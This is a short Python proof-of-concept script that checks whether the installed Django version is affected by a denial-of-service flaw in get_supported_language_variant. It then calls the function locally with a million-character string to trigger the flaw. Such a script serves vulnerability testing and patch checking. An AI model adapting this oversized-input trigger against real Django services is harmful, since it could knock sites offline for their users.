import django
from django.utils.translation import get_supported_language_variant

# Check Django version
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
    print("[-] This Django version is vulnerable to the DoS attack.")
else:
    print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")

# Generate a very long string containing specific characters
very_long_string = 'a' * 1000000 + '!'  # Adjust the length and content as necessary

def test_dos_vulnerability():
    try:
        # Trigger the vulnerability
        get_supported_language_variant(very_long_string)
        print("[+] Successfully called get_supported_language_variant with a very long string.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    test_dos_vulnerability()